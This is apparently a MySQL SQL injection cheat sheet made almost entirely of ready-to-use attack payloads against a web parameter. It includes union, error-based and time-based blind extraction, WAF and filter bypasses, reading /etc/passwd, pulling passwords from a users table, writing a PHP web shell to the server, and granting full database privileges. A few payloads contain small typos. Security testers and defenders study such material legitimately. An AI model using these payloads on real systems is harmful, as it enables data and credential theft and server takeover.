SQL Injection Cheat Sheet:
Comments
/* – Multi line comment.
# – single line comment.
-- – single line comment.
/*!*/ – Mysql special comments.
Whitespaces.
+, %2B, %20, %09, %0d ,%0А, /**/, /*foo*/
Global system variables
@@datadir // Mysql data directory.
@@version_compile_os - //OS Mysql is running on.
@@version – //Mysql database version.
user() – //Current database user.
@@log_error – //Path to error log.
database() – //Current database.
The INFORMATION_SCHEMA database is made up of the following objects:
SCHEMATA
TABLES
COLUMNS
STATISTICS
USER_PRIVILEGES
SCHEMA_PRIVILEGES
TABLE_PRIVILEGES
COLUMN_PRIVILEGES
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
TABLE_CONSTRAINTS
KEY_COLUMN_USAGE
ROUTINES
VIEWS
TRIGGERS
PROFILING
Columns in a SELECT.
file.php?var=1 order by 10-- //Unknown column ’10′ in ‘order clause’
file.php?var=1 and(select * from table)=(1)-- //Operand should contain 9 column(s)
Encoding. //For matching collations.
file.php?var=1 union select cast(version() as latin1)-- //5.0.11
file.php?var=1 union select convert(version() as binary)-- //5.0.11
file.php?var=1 union select aes_decrypt(aes_encrypt(version(),1),1)-- //5.0.11
file.php?var=1 union select unhex(hex(versions()))-- //5.0.11
File_priv.
file.php?var=1 union select user()-- //Checking current user. root@localhost
file.php?var=1 union select file_priv from mysql.user where user=’root’-- //Checking for the file priveledge on current user, Y =Yes N=No.
file.php?var=1 union select load_file(‘/etc/passwd’)-- // Loading system files.
file.php?var=1 and+(select+1+from+(select+count(0),concat((select+load_file(‘/etc/passwd’),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)-- // Loading system files with error based injection.
file.php?var=1 union select “<?php system($_GET[c]);?>” into outfile ‘/dir/dir/shell.php’-- // Write code to a file.
file.php?var=1 limit 1 into outfile ‘/dir/dir/shell.php’ lines terminated by “<?php system($_GET[c]);?>”--+ //Write to a file.
WAF & security bypasses.
file.php?var=1 /*!union*/ /*select*/ version()-- //MySQL comments.
file.php?var=1 unUNIONion seleSELECTct version()-- //Filter bypass
file.php?var=1/**/union/**/select/**/version()-- //Whitespace bypass
file.php?var=1 UnION SElecT version()-- //Mixed upper/lower
file.php?var=1 uni/**/on sel/**/ect version()-- //php comments.
file.php?var=1 uni%6Fn select version()-- //URL encoding.
file.php?var=1 %252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users-- //Taking advantage of a WAF that only decodes input once.
file.php?var=1 0×414141414141414141414141414141414141 union select version()-- //Buffer overflow.
file.php?var=1 union select 0x3a3a3a-- //Encode to bypass magic quotes.
Extracting data from MySQL errors.
Rand()
file.php?var=1 and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
file.php?var=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select version() from information_schema.tables limit 1),1,64),floor(rand(0)*2)))--
file.php?var=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) --
file.php?var=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--
file.php?var=1 union select password from users where id=1 and row(1,1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) --
Name_const(Mysql 5.0.12 > 5.0.64)
file.php?var=1 or(1,2)=(select * from(select name_const(version(),1),name_const(version(),1))a)--
Extractvalue & updatexml (MySQL 5.1+)file.php?var=1 and extractvalue(rand(),concat(0x3a,version()))-- //Xpath error
file.php?var=1 and updatexml(rand(),concat(0x3a,version()))-- //Xpath error
Misc.
file.php?var=(@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)-- //Credits BlackFan.
file.php?var=(@:=9)or@ group by left(@@version,@:=~@)having@||min(0)-- //Credits Blackfan.
file.php?var=1 UNION SELECT * FROM (SELECT version() FROM information_schema.tables JOIN information_schema.tables b)a--
Injecting into an order byfile.php?var=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))--
file.php?var=1,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--
Blind.
file.php?var=1 and IF(ASCII(SUBSTRING((SELECT version()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW())))-- //time based BSQLi
file.php?var=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3))-- //Time based BSQLi
file.php?var=1 AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), ‘a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,”,\’,~,`,\\,|,{,},[,],:,;, ,’)),1,1) FROM information_schema.tables LIMIT 1)=@a AND IF(@a!=”,@a,SLEEP(5))--
If Statement SQL Injection Attack Samples
SELECT IF(user()='root@localhost','true','false')
Load File
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
Create User
CREATE USER username IDENTIFIED BY 'password'; --
Drop User
DROP USER username; --
Make user to DBA
GRANT ALL PRIVILEGES ON *.* TO username@'%';
List Users
SELECT * FROM 'user' WHERE 1 LIMIT 0,30
SELECT * FROM mysql.user WHERE 1 LIMIT 1,1
SELECT * FROM mysql.user
Getting user defined tables SELECT table_name FROM information_schema.tables WHERE table_schema = 'tblUsers'
Getting Column NamesSELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tblUsers’tblUsers -> tablename
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';
find table which have a column called 'username'
String without Quotes
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
referensi
